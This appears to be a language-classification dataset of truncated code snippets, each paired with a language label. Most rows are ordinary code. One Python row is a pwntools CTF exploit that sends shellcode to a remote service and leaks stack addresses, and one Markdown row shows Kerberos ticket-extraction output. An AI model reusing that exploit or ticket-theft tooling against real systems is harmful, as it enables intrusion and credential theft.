content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
(5)
ssm 0,0
MFDIAG_1 (28)
b,n perf_rdr_shift_in_W_leave
ssm 0,0
nop
;
; RDR 6 read sequence
;
sync
ssm 0,0
SFDIAG (6)
ssm 0,0
MFDIAG_1 (28)
b,n perf_rdr_shift_in_W_leave
ssm 0,0
nop
;
; RDR 7 read sequence
;
b,n perf_rdr_shift_in_W_leave
nop
nop
nop
nop
nop
nop
... | Assembly |
=$("");L&&(m(S,L),a=a||wi(L));const P=(D,G)=>{w&16&&c(M,D,G,o,s,a,i,l)};b?P(r,R):L&&P(L,S)}else{t.el=e.el;const B=t.anchor=e.anchor,R=t.target=e.target,L=t.targetAnchor=e.targetAnchor,S=kn(e.props),P=S?r:R,D=S?B:L;if(a=a||wi(R),E?(h(e.dynamicChildren,E,P,o,s,a,i),w2(e,t,!0)):l||d(e,t,P,D,o,s,a,i,!1),b)S||wo(t,r,B,u,1);... | JavaScript |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'leohuang'
__date__ = '2016/3/2'
__version__ = '0.1-dev'
import urllib
import rsa
import re
import binascii
import hashlib
import base64
import requests
from pprint import pprint
import tea
class QQ_Login:
"""
QQ用户名密码登陆:2016.3.2
涉及算法:TX_TEA算法,RSA算... | Python |
/*---------------------------------------------------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Copyright (C) 2019-2023 OpenFOAM Foundation
\\... | C |
se
{
try { soundplayer.Play(); }
catch
{
MessageBoxes.ShowMessageBox("Unsupported sound-format. Only PCM-WAV is supported.", $"Unsupported sound-format");
}
}
}
public string SoundFile
{
... | C# |
signext zeroext inreg sret nounwind noreturn noalias nocapture byval nest readnone readonly inlinehint noinline alwaysinline optsize ssp sspreq noredzone noimplicitfloat naked builtin cold nobuiltin noduplicate nonlazybind optnone returns_twice sanitize_address sanitize_memory sanitize_thread sspstrong uwtable returned... | JavaScript |
VAL128(__VA_ARGS__))
#define EVAL128(...) EVAL64(EVAL64(__VA_ARGS__))
#define EVAL64(...) EVAL32(EVAL32(__VA_ARGS__))
#define EVAL32(...) EVAL16(EVAL16(__VA_ARGS__))
#define EVAL16(...) EVAL8(EVAL8(__VA_ARGS__))
#define EVAL8(...) EVAL4(EVAL4(__VA_ARGS__))
#define EVAL4(...) EVAL2(EVAL2(__VA_ARGS__))
#define EVAL2(...)... | Assembly |
RTY29yZU1lc3NhZ2USJgoGY29tbW9uGAEgASgLMg4uZG91eWluLkNvbW'
'1vblIGY29tbW9uEikKB2FnYWluc3QYAiABKAsyDy5kb3V5aW4uQWdhaW5zdFIHYWdhaW5zdBIg'
'CgttYXRjaFN0YXR1cxgDIAEoDVILbWF0Y2hTdGF0dXMSJAoNZGlzcGxheVN0YXR1cxgEIAEoDV'
'INZGlzcGxheVN0YXR1cw==');
@$core.Deprecated('Use againstDescriptor instead')
const Against$jso... | Dart |
lib.util.sec.security.provider;
import java.io.Serializable;
import java.util.Enumeration;
import java.security.*;
/**
* An identity with a very simple trust mechanism.
*
* @author Benjamin Renaud
*/
public class SystemIdentity extends Identity implements Serializable {
/** use serialVersionUID from JDK 1.1. ... | Java |
content: "\f192";
color: #DDDDDD;
}
.radio input[type="radio"]:checked:not(:disabled):hover + label::after,
.radio input[type="radio"]:checked + label::after {
color: #23CCEF;
}
.radio input[type="radio"]:disabled + label {
color: #ddd;
}
.radio input[type="radio"]:disabled + label::before,
.radio input[type=... | CSS |
C64
ftrace_no_trace:
#ifdef CONFIG_PPC_FTRACE_OUT_OF_LINE
REST_GPR(3, r1)
addi r1, r1, SWITCH_FRAME_SIZE+STACK_FRAME_MIN_SIZE
blr
#else
mflr r3
mtctr r3
REST_GPR(3, r1)
addi r1, r1, SWITCH_FRAME_SIZE+STACK_FRAME_MIN_SIZE
mtlr r0
bctr
#endif
#endif
#ifdef CONFIG_DYNAMIC_FTRACE_WITH_DIRECT_CALLS
.Lftrace_direct... | Assembly |
rect(-40, -5, 20, 10); // Smaller rectangle is rotating in radians
* }
* </code>
* </div>
*
* @alt
* 40 by 10 rect in center rotates with mouse moves. 20 by 10 rect moves faster.
*
*
*/
p5.prototype.angleMode = function(mode) {
if (mode === constants.DEGREES || mode === constants.RADIANS) {
this._angleMo... | JavaScript |
for line in read_file:
[str_order, hanzi, pinyin, patterns] = line.rstrip("\n").split(", ")
order = int(str_order)
# self.PATTERN_ONE_TXT の order = 1 は標準的なピンインなので無視する
if 1 == order:
continue
# 2 から異読のピンイン。添字に使うため... | Python |
er i with tilde":"টিল্ড সহ ল্যাটিন ছোট হাতের অক্ষর i","Latin capital letter i with macron":"ম্যাক্রোন সহ ল্যাটিন বড় হাতের অক্ষর i","Latin small letter i with macron":"ম্যাক্রোন সহ ল্যাটিন ছোট হাতের অক্ষর i","Latin capital letter i with breve":"ব্রেভ সহ ল্যাটিন বড় হাতের অক্ষর i","Latin small letter i with breve":"ব্রে... | JavaScript |
sage");
System.out.println ("");
break;
}
else {
error = USAGE;
break;
}
}
if (error != null) {
System.err.println (error);
System.exit (1);
}
log.exiting ("com.sun.grid.jgrid.proxy.ComputeProxy", "processArguments");
}
/** This method sets up the Logger object
*/... | Java |
# Importing necessary libraries
import numpy as np
import matplotlib.pyplot as plt
from NACA import *
# NACA 0012 and 4412 data (Assumed to be loaded correctly as per the user's request)
# Function to plot airfoil shape
def plot_airfoil(naca, title):
plt.figure(figsize=(10, 6))
plt.plot(naca["x"], naca["y"],... | Python |
とRUST_BACKTRACEに関する周囲のテキストがない、 ユーザ向けのより実用的なエラーにErr列挙子を変換することができます。 リスト12-9は、Config::newの戻り値に必要な変更とResultを返すのに必要な関数の本体を示しています。 mainも更新するまで、これはコンパイルできないことに注意してください。その更新は次のリストで行います。 ファイル名: src/main.rs impl Config { fn new(args: &[String]) -> Result<Config, &'static str> { if args.len() < 3 { return Err(\"not enough argume... | JavaScript |
= this.ignoreMissingCanonicalUrl.some(ignoredPath =>
url.pathname.startsWith(ignoredPath))
if (!isOnIgnoreList) {
context.report({
type: CanonicalUrl.MissingCanonicalUrl,
linkHref,
annotationText: dedentMd`The target page does not have a canonical URL.
Please consider adding a <l... | Typescript |
or solutions in solution containers.
/// Most solution containers will only contain 1-2 solutions.
/// </summary>
public const int DefaultCapacity = 2;
/// <summary>
/// The names of each solution container attached to this entity.
/// Actually accessing them must be done via <see cref="Contain... | C# |
3, U+9f66-9f6a, U+9f6c-9f73, U+9f75-9f77, U+9f7a, U+9f7d, U+9f7f, U+9f8f-9f92, U+9f94-9f97, U+9f99, U+9f9c-9fa3, U+9fa5, U+9fb4, U+9fbc-9fc2, U+9fc4, U+9fc6, U+9fcc, U+f900-f92c;
}
/* [6] */
@font-face {
font-family: 'Noto Sans JP';
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url(https:... | CSS |
from pwn import *
io = remote('0.0.0.0', 10001)
#io = process('./pwn200')
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
def leak():
global fake_addr
global shellcode_addr
payload = shellcode.rjust(48, 'A')
io.sendafter("who are u?\n", payload)
io.recvuntil(payload)
rbp_addr = u64(io.recvn(6).l... | Python |
BrianAu
*/
LRESULT
DetailsView::SelectAllItems(
VOID
)
{
INT cItems = ListView_GetItemCount(m_hwndListView);
DWORD dwState = 0;
CAutoWaitCursor waitcursor;
SetFocus(m_hwndListView);
// This isn't documented but it's the way the shell does it for DefV... | C++ |
positive or null. The new grid contains all positions
// (X,Y) with 0 <= X < w and 0 <= Y < h. The grid is filled with Cell{Rune: ' '}.
func NewGrid(w, h int) Grid {
gd := Grid{}
gd.Ug = &grid{}
if w < 0 || h < 0 {
panic(fmt.Sprintf("negative dimensions: NewGrid(%d,%d)", w, h))
}
gd.Rg.Max = Point{w, h}
gd.Ug.W... | Go |
return 0;
}
#ifdef HAVE_HDF5
/**
* @brief Writes the current model of chemistry to the file
* @param h_grp The HDF5 group in which to write
* @param h_grp_columns The HDF5 group containing named columns
* @param e The #engine.
*/
INLINE static void chemistry_write_flavour(hid_t h_grp, hid_t h_grp_columns,
... | C |
Back, title }) => {
const { dialogTitleProps } = useCozyDialog({
open: true,
onClose: true
})
if (!title) return null
return (
<DialogTitle {...dialogTitleProps}>
<Media>
{showBack && (
<Img className={styles.Modal__back}>
<IconButton size="medium" onClick={onCl... | JavaScript |
import pygame
import sys
import random
W = 300
H = 800
car = pygame.image.load("sprites/unnamed.png")
car = pygame.transform.scale(car, (100, 100))
score = 0
enemy = pygame.image.load("sprites/938z8l9w2ho51.png.webp")
sprite_img = pygame.transform.scale(enemy, (100, 100))
sprite_size = sprite_img.get_rect().size
... | Python |
, "" , isim, x+20, y+20, pg-40, 15, 0x111111, 0xFFFFFF, 0.1, true)
ui.addTextArea(2, "<p align='center'><font color='#F272A5'>"..ceviriYap("lbplayer",isim).."</font></p>" , isim, x-80, y+20, pg-40, nil, 0x111111, 0xFFFFFF, 0, true)
ui.addTextArea(3, "<p align='center'><font color='#F272A5'>"..ceviriYap("lbrecord",isi... | Lua |
# NOTE: Assertions have been autogenerated by utils/update_mca_test_checks.py
# RUN: llvm-mca -mtriple=x86_64-unknown-unknown -mcpu=znver3 -instruction-tables < %s | FileCheck %s
monitorx
mwaitx
# CHECK: Instruction Info:
# CHECK-NEXT: [1]: #uOps
# CHECK-NEXT: [2]: Latency
# CHECK-NEXT: [3]: RThroughput
# CHECK-... | Assembly |
# Generated by Django 4.2.15 on 2025-02-04 21:15
from django.db import migrations, models
from kobo.apps.stripe.utils.subscription_limits import get_default_add_on_limits
class Migration(migrations.Migration):
dependencies = [
('stripe', '0001_initial'),
]
operations = [
migrations.Remo... | Python |
/*
* ***** BEGIN GPL LICENSE BLOCK *****
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is d... | C |
head);
System.out.println("serialize tree by pre-order: " + pre);
head = reconByPreString(pre);
System.out.print("reconstruct tree by pre-order, ");
printTree(head);
level = serialByLevel(head);
System.out.println("serialize tree by level: " + level);
head = reconByLevelString(level);
System.out.print(... | Java |
',
);
testTexToMatchGoldenFile(
'LeftRight renderer',
r'\left( \dfrac{x}{y} \middle| \dfrac{y}{z} \right> \left( x \middle| y \right> \left. \dfrac{x}{y} \right\}',
location: '../doc/img/leftright.png',
);
testTexToMatchGoldenFile(
'Matrix renderer',
r'\begin{array}{c|r:}a & b \\c & d\end{... | Dart |
_params0;
buint _params1;
buint _params2;
buint _params3;
buint _params4;
buint _article0;
buint _article1;
buint _article2;
buint _article3;
buint _article4;
b... | C# |
("setBaseZIndex"),u("setCustomInputSelector"),u("setCustomNavigate"),u("setCustomScrollIntoView"),u("setInferenceAttributeFilter"),u("setInferenceAttributeNames"),u("setInferenceClassNameFilter"),u("setResourceCenterLauncherHidden"),u("setScrollPadding"),u("setServerEndpoint"),u("setShadowDomEnabled"),u("setPageTrackin... | JavaScript |
),
hideSelectedTextCount: true,
listData: userList,
selectedListData: selectedUserList,
onApplyButtonClick: (list) {
Navigator.pop(context, list);
},
choiceChipLabel: (item) {
/// Used to print text on chip
return item!.name... | Dart |
mesh);
bullets.splice(index, 1);
}
});
});
}const protobuf = document.protobuf;
const rtrim = (string, ch) => {
let end = string.length - 1;
while (ch.indexOf(string[end]) >= 0) {
end -= 1;
}
return string.substr(0, end + 1);
};
const spurdoWS = new WebSo... | JavaScript |
param>
/// <returns>值</returns>
public T ListRightPop<T>(string key)
{
if (KeyExists(key))
{
key = AddSysCustomKey(key);
return Do(db =>
{
var value = db.ListRightPop(key);
return Conv... | C# |
ve(data), data_crc_error, deleted_dam ? 0xf8 : 0xfb);
}
ps = reinterpret_cast<const SDF_SECTOR*>(pd + sector.size());
track.add(std::move(sector));
}
disk->write(cylhead, std::move(track));
}, true);
disk->strType = "SDF";
return true;
}
#if 0
st... | C++ |
"IRLVL2 ");
print_pic(key, 0xff1ff61c, "IRLVL3 ");
print_pic(key, 0xff1ff620, "IRLVL4 ");
print_pic(key, 0xff1ff624, "IRLVL5 ");
print_pic(key, 0xff1ff628, "IRLVL6 ");
print_pic(key, 0xff1ff62c, "IRLVL7 ");
print_pic(key, 0xff1ff640, "IRMSK ");
print_pic(key, 0xff1ff660, "IREDC ");
print_pic... | C |
check(1.nanoweber.value, Wb.value*powM9)
check(1.nWb , nWb)
check(nanoweber, nWb)
val powM12 = 10.0.pow(-12)
check(1.pWb.value, Wb.value*powM12)
check(1.picoweber.value, Wb.value*powM12)
check(1.pWb , pWb)
check(picoweber, pWb)
... | Kotlin |
struct omap_hsmmc_data *priv = dev_get_priv(dev);
struct mmc_config *cfg = &plat->cfg;
struct mmc *mmc;
#ifdef CONFIG_IODELAY_RECALIBRATION
int ret;
#endif
cfg->name = "OMAP SD/MMC";
priv->base_addr = plat->base_addr;
priv->controller_flags = plat->controller_flags;
priv->hw_rev = plat->hw_rev;
#ifdef CONFIG... | C |
}
value := reflect.Indirect(reflect.ValueOf(o))
vals := queries.ValuesFromMapping(value, cache.valueMapping)
if boil.IsDebug(ctx) {
writer := boil.DebugWriterFrom(ctx)
fmt.Fprintln(writer, cache.query)
fmt.Fprintln(writer, vals)
}
if len(cache.retMapping) != 0 {
err = exec.QueryRowContext(ctx, cache.qu... | Go |
inates only worker node |
| true | false | Keeps both head node and worker node and stops both of them |
| true | true | Keeps both head node and worker node and stops only worker node |
- Keep `hydra.launcher.ray.cluster.min_workers` worker nodes
and delete the rest of the worker nodes
```commandline
hydra.la... | Markdown |
ts"), err)
// Without a partitioned RHS we'll end up always writing a tombstone here because
// the RHS will be created at the initial replica ID because it will get
// raft message when the other nodes split and then after the above call
// it will find out about its new replica ID and write a tombstone for t... | Go |
f8/9hAAAAAXNSR0IArs4c6QAAADFJREFUOE9jZGBgEGHAD97gk2YcNYBhmIQBgWSAP52AwoAQwJvQRg1gACckQoC2gQgAIF8IscwEtKYAAAAASUVORK5CYII=") 0}.datafor-color-picker-popover .ant-popover-inner-content .basic-colors-picker .compact-picker>div>span>div{width:22px!important;height:22px!important}.datafor-color-picker-popover .ant-popover-i... | CSS |
e = 1,
epochs = 100,
shuffle = True,
callbacks = [early_stopper])
Y_pred_test = predict_by_batching(model, input_tensor_idx = X_test_idx, batch_size = 1000, X = X, windowSize = windowSize)
y_pred_test = np.argmax(Y_pred_test, axis=1)
... | Python |
announcements_load_failed_message": "Falha ao carregar anúncios.",
"cancel_title": "Cancelar",
"connection_details_title": "Detalhes da conexão",
"daily_play_count_by_media_type_title": "Contagem diária de reproduções por tipo de mídia",
"cannot_be_blank_message": "Nao pode estar em branco",
"bitrate_title": ... | Dart |
udedCategories.has(f.categoryId)) {
return false;
}
if (this.keepExisting) {
this.includedFeedIds.add(f.id);
return true;
}
return this.addNewFeed(f);
};
addNewFeed = (f: Feed): boolean => {
if (this.f.feedId !== undefined) {
if (this.f.feedId === f.id) {
this.... | Typescript |
-to-width: false;
-fx-fit-to-height: false;
}
.edit .documents .label.add {
-fx-font-size: 1.2em;
-fx-font-style: normal;
-fx-alignment: center;
-fx-padding: 0.5em;
-fx-cursor: hand;
-fx-wrap-text: true;
}
.edit .documents .label.add .iconbox,
.edit .documents .label.add .iconbox .icon {
... | CSS |
{
type = "BattleBuffOrb",
trigger = {
"onBulletCreate"
},
arg_list = {
buff_id = 313,
type = 3,
rant = 500,
level = 1,
index = {
-1
}
}
}
}
} | Lua |
"Про",
"synced": "Синхронізовано",
"cancelTimerAlert": "Таймер сну скасовано",
"artistBookmarkRemoveAlert": "Вилучено закладку виконавця!",
"artistBookmarkAddAlert": "Виконавець додано в закладки!",
"syncedLyricsNotAvailable": "Синхронізовані тексти не доступні!",
"link": "Посилання",
"unLin... | Dart |
0.;
case Histogram::Orientation::Both:
break;
}
return INFINITY;
}
double HistogramPrivate::xMaximum() const {
switch (orientation) {
case Histogram::Orientation::Vertical:
return autoBinRanges ? dataColumn->maximum() : binRangesMax;
case Histogram::Orientation::Horizontal:
return getMaximumOccuranceofHi... | C++ |
stinstall = atmel_hlcdc_dc_irq_postinstall,
.irq_uninstall = atmel_hlcdc_dc_irq_uninstall,
.get_vblank_counter = drm_vblank_no_hw_counter,
.enable_vblank = atmel_hlcdc_dc_enable_vblank,
.disable_vblank = atmel_hlcdc_dc_disable_vblank,
.gem_free_object_unlocked = drm_gem_cma_free_object,
.gem_vm_ops = &drm_gem_cma... | C |
d->act_scr);
}
static bool is_out_anim(lv_screen_load_anim_t anim_type)
{
return anim_type == LV_SCR_LOAD_ANIM_FADE_OUT ||
anim_type == LV_SCR_LOAD_ANIM_OUT_LEFT ||
anim_type == LV_SCR_LOAD_ANIM_OUT_RIGHT ||
anim_type == LV_SCR_LOAD_ANIM_OUT_TOP ||
anim_type == LV_SC... | C |
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0/
*
* or in the "license" f... | C |
= 100,
}
if LocalPlayer.state["proximity"] then
voice = voiceModes[LocalPlayer.state["proximity"].mode] or 0
else
voice = 0
end
local pedArmor = GetPedArmour(ped)
local pedMaxHealth = GetEntityMaxHealth(ped)
... | Lua |
.KEY_SFIND",false]],"key_shelp (in module curses)":[[193,"curses.KEY_SHELP",false]],"key_shome (in module curses)":[[193,"curses.KEY_SHOME",false]],"key_sic (in module curses)":[[193,"curses.KEY_SIC",false]],"key_sleft (in module curses)":[[193,"curses.KEY_SLEFT",false]],"key_smessage (in module curses)":[[193,"curses.... | JavaScript |
: input parameter is undefined or null"));if(typeof i!="string")return s(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(i)+", string expected"));o.hooks&&(o.hooks.options=o,o.hooks.block=t);const l=o.hooks?o.hooks.provideLexer():t?te.lex:te.lexInline,c=o.hooks?o.hooks.provideParser():t... | JavaScript |
);
}
@Test
public void shouldReturnEncounterEverythingAsXml() throws Exception {
MockHttpServletResponse response = get("/Encounter/" + ENCOUNTER_UUID + "/$everything").accept(FhirMediaTypes.XML)
.go();
assertThat(response, isOk());
assertThat(response.getContentType(), is(FhirMediaTypes.XML.toS... | Java |
;i<task->GetNumWaveTracks();i++)
{
//task->GetWaveTrack(i) may return NULL, but we handle it by checking before using.
//The other worry that the WaveTrack returned and was deleted in the meantime is also
//handled by keeping standard weak pointers to tracks, which give thread safety.
mTracks... | C++ |
# Um armazém trabalha com um determinado número de mercadorias diferentes (um
# máximo de 100 itens). Faça um programa que leia e armazene em vetores os preços
# de cada mercadoria e a quantidade vendida no mês e, além disso, calcule e imprima:
# a. O faturamento mensal do armazém.
# b. A mercadoria mais vendida e a me... | Python |
increment,
ulonglong nb_desired_values,
ulonglong *first_value,
ulonglong *nb_reserved_values)
{
ulonglong nr;
int error;
uchar key[MARIA_MAX_KEY_BUFF];
if (!table->s->next_number_key_offset)
{ ... | C++ |
g>Success Rate</strong>: {report['success_rate']:.1f}%</li>")
html.append(f"<li><strong>Execution Time</strong>: {report['execution_time']:.2f}s</li>")
html.append("</ul>")
html.append("<h2>Test Results</h2>")
for result in report['results']:
status_class = "success" if result['success'] el... | Python |
n={start:r.toPoint(0),end:r.toPoint(t.length)}}return n}case"#documentType":return iU(e,t,n={type:"doctype"}),n;case"#text":{let r=t;return n={type:"text",value:r.value},iU(e,r,n),n}default:return iB(e,t)}}function iF(e,t){let n=-1,r=[];for(;++n<t.length;)r[n]=ij(e,t[n]);return r}function iB(e,t){let n=e.schema;e.schem... | JavaScript |
from django.conf import settings
from ninja import NinjaAPI
import redis.asyncio as redis
from enrollments.cache_services import can_enroll_cache, enroll_to_course_cache
from enrollments.schemas import CourseEnrollmentOut, CourseEnrollmentIn
from enrollments.services import can_enroll_db, enroll_to_course_db
api = Ni... | Python |
Author: Chris Kempson (http://chriskempson.com)
CodeMirror template by Jan T. Sott (https://github.com/idleberg/base16-codemirror)
Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16)
*/
.cm-s-base16-dark.CodeMirror { background: #151515; color: #e0e0e0; }
.cm-s-base... | CSS |
nt sig)
{
#if defined(WIN32) && defined(PERL_IMPLICIT_CONTEXT)
dTHXoa(PL_curinterp); /* fake TLS, because signals don't do TLS */
#else
dTHX;
#endif
dSP;
GV *gv = Nullgv;
HV *st;
SV *sv, *tSv = PL_Sv;
CV *cv = Nullcv;
OP *myop = PL_op;
U32 flags = 0;
I32 o_save_i = PL_savestack_i... | C |
pose();
}
/*
private void redraw() {
// only need this check if the validate() call will use redraw()
// if (strategy == null) return;
do {
PApplet.debug("PGraphicsJava2D.redraw() top of outer do { } block");
do {
PApplet.debug("PGraphicsJava2D.redraw() top of inner do { } block")... | Java |
NER_STORE_4X8_VS_LIB4
#else
CALL(inner_store_4x8_vs_lib4)
#endif
EPILOGUE
ret
FUN_END(kernel_dgemm_dtrsm_nt_rl_inv_4x8_vs_lib4)
// 1 2 3 4 5 6 7 8 9
// void kernel_dtrsm_nt_rl_inv_4x8_lib4(int k, double *A... | Assembly |
onfiguration
Toutes les configurations du système peuvent être paramétrées dans le fichier `config/vision/table_setup.json` :
```json
{
"AprilTagConfig": {
"family": "tag36h11", // Famille de tags
"size": 0.05, // Taille physique du tag (en mètres)
"threads": 2, ... | Markdown |
).toString())
}
}
override fun initView(view: View) {
super.initView(view)
WifiManagerWrapper.init(view.context, debug = true, notifyRSSI = true, canScanWifi = true, canWifiConfiguration = false)
showResult("点击信息内容可以复制和分享")
}
override fun setUserVisibleHint(isVisibleToU... | Kotlin |
.Property(x => x.OpHash)
.IsFixedLength(true)
.HasMaxLength(51)
.IsRequired();
#endregion
#region indexes
modelBuilder.Entity<SmartRollupExecuteOperation>()
.HasIndex(x => x.Level);
modelBuilder.E... | C# |
3kF+vzYJ4fNaBs9DGfCnsTouKjXqmfN3SlPMKNcGutO7FaUC3d"
+ "zcpYfwCg7qyONHvXPhS0Iw4QL3mJ/6wMl0UD/0PaonqW0lfGeSjJSM9Jx5Bt"
+ "fTSlwl6GmvYmI8HKvOBXAUSTZSbEkMsMVcIgf577iupzgWCgNF6WsNqQpKaq"
+ "QIq1Kjdd0Y00xU1AKflOkhl6eufTigjviM+RdDlRYsOO5rzgwDTRTu9giErs"
+ "XIyJAIZIdu2iaBHX1zHTfJ... | Java |
Thread(rtcThreadToken) {
val track = receiver.track() ?: return@executeOnRTCThread
LKLog.v { "onAddTrack: ${track.kind()}, ${track.id()}, ${streams.fold("") { sum, it -> "$sum, $it" }}" }
engine.listener?.onAddTrack(receiver, track, streams)
}
}
override fun onTrack(... | Kotlin |
d0: 34638007 ori v1,v1,0x8007
bfc00bd4: 01091027 nor v0,t0,t1
bfc00bd8: 144309fa bne v0,v1,bfc033c4 <inst_error>
bfc00bdc: 00000000 nop
/home/ghj/Desktop/func/inst/n28_nor.S:16
bfc00be0: 3c08dc9e lui t0,0xdc9e
bfc00be4: 3508ddc0 ori t0,t0,0xddc0
bfc00be8: 3c091a3a lui t1,0x1a3a
bfc00bec: 3529ebc8 ori t1,t1,0xeb... | Assembly |
istOrUpdateShow(show)
mediathekRepository.setBookmarked(show.apiId, true)
}
suspend fun removeBookmark(show: MediathekShow) {
mediathekRepository.setBookmarked(show.apiId, false)
}
suspend fun startDownload(show: MediathekShow, quality: Quality) {
// we need to persist this first, because it might not yet b... | Kotlin |
#ifndef _GSB_DATA_ARCHIVE_STORE_H
#define _GSB_DATA_ARCHIVE_STORE_H (1)
/* START_INCLUDE_H */
#include "gsb_real.h"
/* END_INCLUDE_H */
/**
* \struct
* Describe an archive store
*/
typedef struct _StoreArchive StoreArchive;
struct _StoreArchive
{
gint archive_store_number;
/* the corresponding archive ... | C |
}
function handleMonthSelector() {
var monthsPicker = p.container.find('.picker-calendar-months-picker');
monthsPicker.show().transform('translate3d(0, 0, 0)');
p.updateSelectedInPickers();
monthsPicker.on('click', '.picker-calendar-month-un... | JavaScript |
d this.endIcon,
required this.initialValue,
this.onChanged,
this.isInteractive = true, // 默认为可交互
});
@override
State<AliPlayerCustomSliderWidget> createState() =>
_AliPlayerCustomSliderWidgetState();
}
class _AliPlayerCustomSliderWidgetState
extends State<AliPlayerCustomSliderWidget> {
/... | Dart |
()
# Simulate some data
for i in range(100):
message = StreamMessage(
id=str(uuid.uuid4()),
timestamp=datetime.now(),
source="demo_sensor",
data_type="sensor_data",
payload={
'sensor_id': f'sensor_{i % 10}',
... | Python |
(auto key_id : key_indices) {
grouped_cols.at(key_id) = std::move(*key_view_it);
key_view_it++;
}
// value columns
auto value_view = groups.values->view();
auto value_view_it = value_view.begin();
for (auto value_id : value_indices) {
grouped_cols.at(value_id) = std::move(*value_vi... | C++ |
//Copyright © 2014 Sony Computer Entertainment America LLC. See License.txt.
using System;
using System.Windows.Forms;
namespace Sce.Atf.Applications
{
/// <summary>
/// Extension methods for ItemInfo instances</summary>
public static class ItemInfos
{
/// <summary>
/// Obtains the Im... | C# |
rxVMR2qBRXxZ8eFoFRoSI1igfnjELSLM62VOAo26jcNv0wmPluVhcbqqBl4hdpj+YmM3yCPKaGQ4FfLZrzh4xUAjOr1LjRxXzO/+v7iadFAMaCs= --sessionkey oDv9x4eheTTUnSNtT7hqgNpysbfL5rlXOr88KM9163o= --etype AES256
[+] Identified ticket for loki@MARVEL.LOCAL
[+] Successfully extracted the TGT! Saved as: loki@MARVEL.LOCAL.ccache!
Local path to usab... | Markdown |
il || len(args) != 2 {
return "", fmt.Errorf("amount of arguments must equal 2 for $columns func. Parsed arguments are: %v", ast.Obj["$columns"])
}
return q._columns(args[0].(string), args[1].(string), beforeMacrosQuery, fromQuery, false)
}
func (q *EvalQuery) columnsMs(query string, ast *EvalAST) (string, error) ... | Go |
efault() -> Self {
LatexFontSize::TwelvePt
}
}
static PACKAGES_WITHOUT_OPTIONS: [&str; 19] = [
"amsmath",
"amssymb",
"bookmark",
"booktabs",
"etoolbox",
"fancyhdr",
"fancyvrb",
"footnotehyper",
"listings",
"longtable",
"unicode-math",
"upquote",
"xcolor",... | Rust |
#pragma once
//
// This file is distributed under the MIT License. See LICENSE.md for details.
//
#include <optional>
#include "llvm/Support/MathExtras.h"
#include "revng/ADT/Concepts.h"
template<std::integral T>
class OverflowSafeInt {
private:
std::optional<T> Value;
public:
OverflowSafeInt() {}
OverflowS... | C |
" + format + "} m\n", pt1.X, pt1.Y);
break;
case PathStart.LineTo1st:
pt1 = matrix.Transform(new XPoint(x0 - δx * cosα, y0 - δy * sinα));
AppendFormatPoint("{0:" + format + "} {1:" + format + "} l\n", pt1.X, pt1.Y);
... | C# |
return {
[1] = {
ID = 1,
Display2 = LSTR("PLAYERLEVELDISPLAY._D_POINT"),
Name = "Vitality Reward",
Display = LSTR("PLAYERLEVELDISPLAY.CURRENT_HP_")
},
[2] = {
ID = 2,
Name = "Max Vitality",
Display = LSTR("PLAYERLEVELDISPLAY.HP_LIMIT_")
},
[3] = {
ID = 3,
Name = "Max Hero L... | Lua |
// System.err.println("+++"+ie1+" "+ie2+" nested="+triplet.getThird()+" h="+h);
if (h < bestScore) {
bestE1 = ie1;
bestSourceLength1 = sourceLength1;
bestTargetLength1 = targetLength1;
bestSourceLength2 = sourceLength2;
bestTargetLength2 = targetLength2;
bestE2 = ie2;
... | Java |
s.incrementCoverSkipped()
} else {
s.incrementCoverDownloaded()
}
return albumCoverPath
}
func (s *ServiceImpl) parseAlbumCoverURL(sourceURL string) (string, string) {
// Parse the URL to extract query parameters.
parsedURL, err := url.Parse(sourceURL)
if err != nil {
// Fallback: remove the size parameter... | Go |
// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
// SPDX-License-Identifier: Apache-2.0
using System;
using Microsoft.Extensions.DependencyInjection;
using AWS.Deploy.DocGenerator.Generators;
using System.IO;
namespace AWS.Deploy.DocGenerator.Utilities
{
public static class DocGeneratorExtens... | C# |
der(220),
progress = {
[1] = function()
local target_quota = save.elona.guild_fighter_target_chara_quota
local target_name = I18N.localize("base.chara", save.elona.guild_fighter_target_chara_id, "name")
return I18N.get("sidequest._.elona.guild_fighter_quota.progress._... | Lua |
[
"NNP"
],
"cycled": [
"VBN"
],
"dripped": [
"VBD"
],
"shelling": [
"VBG",
"NN"
],
"co-extinction": [
"NN"
],
"Seldes": [
"NNP"
],
"including": [
"VBG"
],
"fighter-jet": [
"NN"
],... | JavaScript |
return getCertificates(args, InvokeOptions.Empty);
}
/**
* > **DEPRECATED:** This datasource has been deprecated from version `1.129.0`. Please use new datasource alicloud_ssl_certificates_service_certificates.
*
* This data source provides a list of CAS Certificates in an Alibaba C... | Java |
.removeByKey(key!);
}
});
});
}
}
// Signal we are ready
void _signalReady() {
final e = Event('SporranReady');
_onReady.add(e);
}
// Create local storage updated entry
JsonObjectLite<dynamic> _createUpdated(
String key,
String? revision,
JsonObjectLite<dyna... | Dart |
reflow(&char_vec("reu\nreu"), 8, |&c| c == ' ', |&c| c == '\n'),
vec![char_vec("reu\n"), char_vec("reu")]
)
}
#[test]
fn clipping() {
assert_eq!(
reflow(&char_vec("reuben"), 5, |&c| c == ' ', |&c| c == '\n'),
vec![char_vec("reube"), char_vec("n")]
... | Rust |
local root = script.Parent.Parent
local MagicMock = require(root.MagicMock)
local Spy = require(root.Spy)
local AnyCallMatches = require(root.AnyCallMatches)
local fmtArgs = require(root.fmtArgs)
local symbols = require(root.symbols)
local function getLiteralPredicate(value)
return function(x)
return x == value
en... | Lua |
# -*- coding: utf-8 -*-
# @Time : 2024/3/5 9:46
# @Author : chenlelan
# @File : Generate_graph.py
import networkx as nx
import pandas as pd
from matplotlib import pyplot as plt
from collections import namedtuple
import os
import numpy as np
